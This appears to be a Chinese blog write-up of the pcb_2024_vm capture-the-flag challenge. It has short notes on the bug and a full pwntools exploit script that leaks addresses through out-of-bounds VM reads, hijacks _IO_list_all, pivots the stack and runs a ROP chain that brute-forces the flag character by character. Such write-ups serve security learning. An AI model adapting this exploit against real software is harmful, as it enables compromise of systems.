pcb_2024_vm


check_cmd

爆破md5:

pay = “LOGIN:root\naaaaa:&&h3r3_1s_y0u2_G1ft!&&An9q\nDONE&EXIT”

LOGIN:root
aaaaa:&&h3r3_1s_y0u2_G1ft!&&An9q
DONE&EXIT

stack

这里初始化cap:

pop会检查数量:

push会检查有没有超出范围:

OOB-read

b *$rebase(0x31ba)

任意地址读

任意地址写

b *$rebase(0x32FB)

leak

攻击成功

EXP

from pwn import *
import sys

file = "./pwn"

elf = ELF(file)

def ru(string):
sh.recvuntil(string)
def dbg():
if len(sys.argv) > 1 and sys.argv[1] == 'r':
return
gdb.attach(sh)
pause()
def sl(content):
sh.sendline(content)
def itr():
sh.interactive()
context.log_level = 'debug'
def get_heap():
res = 0
res = u64(sh.recvuntil("\x55", timeout=0.2)[-6:].ljust(8, b'\x00'))
if res == 0:
res = u64(sh.recvuntil("\x56", timeout=0.2)[-6:].ljust(8, b'\x00'))
return res
def get_libc():
res = 0
res = u64(sh.recvuntil("\x7f", timeout=0.2)[-6:].ljust(8, b'\x00'))
if res == 0:
res = u64(sh.recvuntil("\x7e", timeout=0.2)[-6:].ljust(8, b'\x00'))
return res
def get_tcache():
res = u64(sh.recvuntil("\x05")[-5:].ljust(8, b"\x00"))
return res

def check_cmd():
ru("Now check your cmd:")
pay = "LOGIN:root\naaaaa:&&h3r3_1s_y0u2_G1ft!&&An9q\nDONE&EXIT"
sl(pay)

def mov_imm_to_reg(reg, imm):
pay = p8(0x12) + p8(1) + p8(reg) + p64(imm)
return pay
def write_mem(reg1, reg2):
pay = p8(0x12) + p8(16) + p8(reg1) + p8(reg2)
return pay
def read_mem(reg1, reg2):
pay = p8(0x12) + p8(8) + p8(reg1) + p8(reg2)
return pay

def oob_read(reg, offset):
pay = p8(0x12) + p8(4) + p8(reg) + p8(offset)
return pay

def reset_stack(size):
pay = p8(0x14) + p32(size)
return pay

def add_imm(reg, imm):
pay = p8(0x61) + p8(1) + p8(reg) + p64(imm)
return pay
def sub_imm(reg, imm):
pay = p8(0x63) + p8(1) + p8(reg) + p64(imm)
return pay
def push_imm(value):
pay = p8(0xb4) + p8(1) + p64(value)
return pay
def push_reg(reg):
pay = p8(0xb4) + p8(2) + p8(0)
return pay
def mov_reg_to_reg(reg1, reg2):
return oob_read(reg1, reg2)

def func(guess_char, guess_offset):
global sh
sh = process(file)

libc = ELF("./libc-2.31.so")
check_cmd()
ru("Man!what can I say?hahaha:")
#pay = mov_imm_to_reg(0, 0x12345678) + write_mem(0, 1)

pay = reset_stack(0x600)+reset_stack(0x700) #构造largbin chunk
pay += oob_read(1, 8) #load heap to reg1
pay += oob_read(2, 14) #load libc to reg2
pay += add_imm(2, 0x590) #get _IO_list_all in reg2
pay += add_imm(1, 0x100-0x30) #get stack_addr in reg1
pay += write_mem(2, 1) #write stack to _IO_list_all



pay += mov_reg_to_reg(6, 1) #store f1_addr to reg6
pay += mov_reg_to_reg(5, 2) #store IO_list_all to reg5

pay += add_imm(6, 0x100) #here ROP
pay += add_imm(1, 8)
pay += write_mem(1, 6)
pay += sub_imm(6, 0x100)

pay += add_imm(1, 0x28-8)
pay += mov_imm_to_reg(7, 1)
pay += write_mem(1, 7)

#0x0000000000151990 : mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rsp], rax ; call qword ptr [rdx + 0x20]
magic = 0x151990
offset = libc.sym['_IO_list_all'] - magic
if offset > 0:
pay += sub_imm(5, offset)
else :
pay += add_imm(5, offset)

pay += add_imm(1, 0x68-0x28)
pay += write_mem(1, 5)

pay += add_imm(1, 0xa0-0x68)
pay += write_mem(1, 6)


offset = libc.sym['_IO_list_all'] - libc.sym['_IO_wfile_jumps']
if offset > 0 :
pay += sub_imm(2, offset)
else:
pay += add_imm(2, -offset) #store _IO_wfile_jumps in reg2
pay += add_imm(1, 0xd8-0xa0)
pay += write_mem(1, 2)

pay += add_imm(1, 0xe0-0xd8)
pay += write_mem(1, 6)

pay += add_imm(1, 0x100-0xe0) #here begin stack_povit
pay += add_imm(1, 0x120-0x100)
offset = magic - (libc.sym['setcontext'] + 61)
if offset > 0:
pay += sub_imm(5, offset)
else :
pay += add_imm(5, offset)
pay += write_mem(1, 5)

ret = 0x0000000000022679
pay += mov_reg_to_reg(6, 1) #reg6 <= f1_addr + 0x100
pay += add_imm(1, 0x1a0-0x120)
pay += add_imm(6, 0x200-0x120)
pay += write_mem(1, 6) #stack povit to f1_addr + 0x200
pay += add_imm(1, 0x1a8-0x1a0)
offset = (libc.sym['setcontext'] + 61) - ret
if offset > 0:
pay += sub_imm(5, offset)
else :
pay += add_imm(5, offset)
pay += write_mem(1, 5)

pay += add_imm(1, 0x1b0-0x1a8)
num = u64(b'flag'.ljust(8, b'\x00'))
pay += mov_imm_to_reg(7, num)
pay += write_mem(1, 7) #store flag in f1_addr + 0x1b0
pay += mov_reg_to_reg(6, 1) #stroe flag_addr in reg6

pop_rdi_ret = 0x0000000000023b6a
pop_rsi_ret = 0x000000000002601f
pop_rdx_ret = 0x0000000000142c92
pop_rax_ret = 0x0000000000036174
syscall_pop_ret = 0x47656
syscall = 0x630a9
add_rsp0x60_pop_rbp_ret = 0x0000000000115097
pop_rbx_ret = 0x000000000002fdaf
pop_rbp_ret = 0x00000000000226c0
pop_rsp_ret = 0x000000000002f70a
pay += add_imm(1, 0x200-0x1b0) # here begin rop

offset = ret - pop_rdi_ret
if offset > 0:
pay += sub_imm(5, offset)
else :
pay += add_imm(5, -offset)
pay += write_mem(1, 5)

pay += add_imm(1, 0x208-0x200)
pay += write_mem(1, 6)
pay += add_imm(1, 0x210-0x208)

offset = pop_rdi_ret - pop_rsi_ret
if offset > 0:
pay += sub_imm(5, offset)
else :
pay += add_imm(5, -offset)
pay += write_mem(1, 5)

pay += add_imm(1, 0x218-0x210)
pay += mov_imm_to_reg(7, 0)
pay += write_mem(1, 7)

pay += add_imm(1, 0x220-0x218)
offset = pop_rsi_ret - pop_rax_ret
if offset > 0:
pay += sub_imm(5, offset)
else :
pay += add_imm(5, -offset)
pay += write_mem(1, 5)

pay += add_imm(1, 0x228-0x220)
pay += mov_imm_to_reg(7, 2)
pay += write_mem(1, 7)

pay += add_imm(1, 0x230-0x228)
offset = pop_rax_ret - syscall
if offset > 0:
pay += sub_imm(5, offset)
else :
pay += add_imm(5, -offset)
pay += write_mem(1, 5)

pay += add_imm(1, 0x238-0x230)
offset = syscall - pop_rdi_ret
if offset > 0:
pay += sub_imm(5, offset)
else :
pay += add_imm(5, -offset)
pay += write_mem(1, 5)

pay += add_imm(1, 0x240-0x238)
pay += mov_imm_to_reg(7, 3)
pay += write_mem(1, 7)

pay += add_imm(1, 0x248-0x240)
offset = pop_rdi_ret - pop_rsi_ret
if offset > 0:
pay += sub_imm(5, offset)
else :
pay += add_imm(5, -offset)
pay += write_mem(1, 5)

pay += add_imm(1, 0x250-0x248)
pay += add_imm(6, 0x1000)
pay += sub_imm(6, guess_offset)
pay += write_mem(1, 6)
pay += add_imm(6, guess_offset)

pay += add_imm(1, 0x258-0x250)
offset = pop_rsi_ret - pop_rdx_ret
if offset > 0:
pay += sub_imm(5, offset)
else :
pay += add_imm(5, -offset)
pay += write_mem(1, 5)

pay += add_imm(1, 0x260-0x258)
pay += mov_imm_to_reg(7, guess_offset+1)
pay += write_mem(1, 7)

pay += add_imm(1, 0x268-0x260)
offset = pop_rdx_ret - pop_rax_ret
if offset > 0:
pay += sub_imm(5, offset)
else :
pay += add_imm(5, -offset)
pay += write_mem(1, 5)

pay += add_imm(1, 0x270-0x268)
pay += mov_imm_to_reg(7, 0)
pay += write_mem(1, 7)

pay += add_imm(1, 0x278-0x270)
offset = pop_rax_ret - syscall
if offset > 0:
pay += sub_imm(5, offset)
else :
pay += add_imm(5, -offset)
pay += write_mem(1, 5)

######################################### guess flag #########################################
pay += add_imm(6, 0x30)
pay += mov_imm_to_reg(7, ord(guess_char))
pay += write_mem(6, 7)
pay += sub_imm(6, 0x30)

######################################### fake_table #########################################
pay += add_imm(6, 0x1000)
offset = syscall - 0xdd400
if offset > 0:
pay += sub_imm(5, offset)
else :
pay += add_imm(5, -offset)

pay += write_mem(6, 5)
for _ in range(0x8):
pay += add_imm(6, 8)
pay += write_mem(6, 5)
pay += sub_imm(6, 0x40)
offset = 0xdd400 - syscall
if offset > 0:
pay += sub_imm(5, offset)
else :
pay += add_imm(5, -offset)

pay += sub_imm(6, 0x1000)



######################################### compare flag #########################################
offset = syscall - 0x223190
if offset > 0:
pay += sub_imm(5, offset)
else :
pay += add_imm(5, -offset)
pay += mov_reg_to_reg(3, 5)
pay += read_mem(3, 3) #store elf_base in reg3

#pay += add_imm(1, 8)
#pay += add_imm(3, 0x3a42) #pop_r15_ret
#pay += write_mem(1, 3)
#pay += sub_imm(3, 0x3a42)
#pay += add_imm(1, 8)
pay += add_imm(6, 0x1000-8*ord(guess_char))
pay += mov_reg_to_reg(4, 6)
#pay += write_mem(1, 6)
pay += sub_imm(6, 0x1000-8*ord(guess_char))

pay += add_imm(1, 8)
offset = 0x223190 - pop_rdi_ret
if offset > 0:
pay += sub_imm(5, offset)
else :
pay += add_imm(5, -offset)
pay += write_mem(1, 5)
pay += mov_imm_to_reg(7, 1000)
pay += add_imm(1, 8)
pay += write_mem(1, 7)


pay += add_imm(1, 8)
offset = pop_rdi_ret - pop_rsp_ret
if offset > 0:
pay += sub_imm(5, offset)
else :
pay += add_imm(5, -offset)
pay += write_mem(1, 5)
pay += add_imm(1, 8)

pay += sub_imm(6, 0x68)
pay += write_mem(1, 6)


offset = pop_rsp_ret - add_rsp0x60_pop_rbp_ret
if offset > 0:
pay += sub_imm(5, offset)
else :
pay += add_imm(5, -offset)
pay += write_mem(6, 5)
pay += add_imm(6, 0x68)

pay += add_imm(6, 8)
offset = add_rsp0x60_pop_rbp_ret - pop_rbx_ret
if offset > 0:
pay += sub_imm(5, offset)
else :
pay += add_imm(5, -offset)
pay += write_mem(6, 5)
pay += add_imm(6, 8)
pay += mov_imm_to_reg(7, ord(guess_char))
pay += write_mem(6, 7)

pay += add_imm(6, 8)
offset = pop_rbx_ret - pop_rax_ret
if offset > 0:
pay += sub_imm(5, offset)
else :
pay += add_imm(5, -offset)
pay += write_mem(6, 5)

pay += add_imm(6, 8)
offset = pop_rax_ret - 0xdd400
if offset > 0:
pay += sub_imm(5, offset)
else :
pay += add_imm(5, -offset)
pay += write_mem(6, 5)

pay += add_imm(6, 8)
pay += add_imm(3, 0x3a31)
pay += write_mem(6, 3)
pay += sub_imm(3, 0x3a31)

pay += add_imm(6, 8*8)
offset = 0xdd400 - pop_rdi_ret
if offset > 0:
pay += sub_imm(5, offset)
else :
pay += add_imm(5, -offset)
pay += write_mem(6, 5)

pay += add_imm(6, 8)
pay += mov_imm_to_reg(7, 0)
pay += write_mem(6, 7)

pay += add_imm(6, 8)
offset = pop_rdi_ret - pop_rsi_ret
if offset > 0:
pay += sub_imm(5, offset)
else :
pay += add_imm(5, -offset)
pay += write_mem(6, 5)

pay += add_imm(6, 8)
pay += mov_reg_to_reg(7, 6)
pay += add_imm(7, 0x1000)
pay += write_mem(6, 7)

pay += add_imm(6, 8)
offset = pop_rsi_ret - pop_rdx_ret
if offset > 0:
pay += sub_imm(5, offset)
else :
pay += add_imm(5, -offset)
pay += write_mem(6, 5)

pay += add_imm(6, 8)
pay += mov_imm_to_reg(7, 0x100)
pay += write_mem(6, 7)

pay += add_imm(6, 8)
offset = pop_rdx_ret - pop_rax_ret
if offset > 0:
pay += sub_imm(5, offset)
else :
pay += add_imm(5, -offset)
pay += write_mem(6, 5)

pay += add_imm(6, 8)
pay += mov_imm_to_reg(7, 0)
pay += write_mem(6, 7)

pay += add_imm(6, 8)
offset = pop_rax_ret - syscall
if offset > 0:
pay += sub_imm(5, offset)
else :
pay += add_imm(5, -offset)
pay += write_mem(6, 5)



########################################## end ####################################################

pay += p8(0)
print("length ==", hex(len(pay)))

sl(pay)

res = sh.recvuntil("Segmentation", timeout=0.5) #远程需要增加阻塞时间
sh.close()



if __name__ == "__main__":
strs = '8902134567-+{}qwertyuiopasdfghjklzxcvbnm!@#$%^&*~,.;|'
flag = 'flag{'
#func('1', 5)
for i in range(0x100):
for ch in strs:
print(flag)
try:
func(ch, i+5)
flag += ch
if ch == '}':
exit(0)
break
except:
continue


文章作者: q1ming
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 q1ming !
  目录